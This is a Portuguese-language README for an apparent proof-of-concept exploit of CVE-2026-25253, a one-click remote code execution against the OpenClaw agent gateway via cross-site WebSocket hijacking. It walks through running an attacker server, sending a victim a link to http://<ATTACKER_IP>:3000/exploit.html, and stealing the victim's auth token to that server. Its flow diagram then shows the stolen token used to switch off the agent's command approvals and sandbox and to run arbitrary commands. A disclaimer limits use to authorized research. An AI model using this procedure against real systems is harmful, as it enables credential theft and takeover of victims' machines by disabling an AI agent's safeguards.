
Prova de conceito de exploit para CVE-2026-25253, demonstrando RCE com um clique no OpenClaw via sequestro de WebSocket entre sites. Inclui servidor do atacante e payload baseado em navegador para roubar tokens e executar comandos.
RCE com um clique no OpenClaw via Sequestro de WebSocket entre Sites (Cross-Site WebSocket Hijacking).
AVISO: Este código é fornecido apenas para fins autorizados de pesquisa de segurança e educacionais. O uso deste código contra sistemas sem permissão explícita por escrito é ilegal e antiético. O autor não se responsabiliza pelo uso indevido.
Leia a análise detalhada para uma análise nível de código-fonte desta vulnerabilidade e de como este PoC foi construído.
localhost:18789)macOS (Homebrew):
brew install node
Ubuntu / Debian:
curl -fsSL https://deb.nodesource.com/setup_22.x | sudo -E bash -
sudo apt-get install -y nodejs
Windows:
Baixe o instalador em https://nodejs.org/ e siga as instruções.
Verifique a instalação:
node -v
npm -v
git clone https://github.com/al4n4n/CVE-2026-25253-research.git
cd CVE-2026-25253-research
npm install
Isso instala a única dependência: ws (biblioteca WebSocket).
Edite o topo de exploit.html para corresponder ao seu ambiente:
const LOCAL_SCHEME = 'http'; // Esquema da Interface de Controle da vítima
const GATEWAY_URL = 'ws://127.0.0.1:18789'; // Gateway local da vítima
const ATTACKER_WS_PORT = 8080; // Porta WS do atacante (deve corresponder a attacker-server.js)
const ATTACKER_SCHEME = 'ws'; // Use 'wss' se estiver atrás de TLS
const COMMAND = 'touch /tmp/success'; // Comando a ser executado no host da vítima
Edite o topo de attacker-server.js se precisar de portas diferentes:
const HTTP_PORT = 3000; // Serve exploit.html
const WS_PORT = 8080; // Captura tokens roubados
node attacker-server.js
Você deve ver:
============================================================
CVE-2026-25253 Attack Server
============================================================
[HTTP] Página de exploração: http://0.0.0.0:3000/exploit.html
[WS] Captura de token: ws://0.0.0.0:8080
Aguardando vítima...
Envie à vítima a seguinte URL (substitua <ATTACKER_IP> pelo seu IP):
http://<ATTACKER_IP>:3000/exploit.html
A vítima deve abrir este link em um navegador onde já tenha usado a Interface de Controle do OpenClaw (para que o token de autenticação exista no localStorage).
┌──────────────────────────────────────────────────────────────────────────┐
│ FLUXO DA EXPLORAÇÃO │
├──────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. A vítima visita http://<atacante>:3000/exploit.html │
│ │ │
│ 2. A página abre popup: http://127.0.0.1:18789?gatewayUrl=ws://<atacante>│
│ │ │
│ 3. A Interface de Controle no popup lê o token do localStorage │
│ e o envia ao servidor WS do atacante via gatewayUrl │
│ │ │
│ 4. O servidor do atacante rejeita a primeira conexão (token do dispositivo)│
│ A Interface de Controle tenta novamente com o token de configurações → CAPTURADO│
│ │ │
│ 5. exploit.html abre seu PRÓPRIO WebSocket para ws://127.0.0.1:18789 │
│ (Sequestro de WebSocket entre Sites - sem validação de Origin) │
│ │ │
│ 6. Autentica com o token roubado, desativa a segurança: │
│ • exec.approvals.set → ask: "off" │
│ • config.patch → host: "gateway", sandbox.mode: "off" │
│ │ │
│ 7. Envia comando do agente → RCE no host da vítima │
│ │
└──────────────────────────────────────────────────────────────────────────┘
Na máquina da vítima, verifique se o comando foi executado:
ls -la /tmp/success
| Arquivo | Descrição |
|---|---|
attacker-server.js | Servidor HTTP (serve a página de exploração) + servidor WebSocket (captura tokens roubados) |
exploit.html | Payload de exploração baseado em navegador que rouba tokens, sequestra WebSocket, desativa segurança e executa comandos |
package.json | Dependências do Node.js (ws) |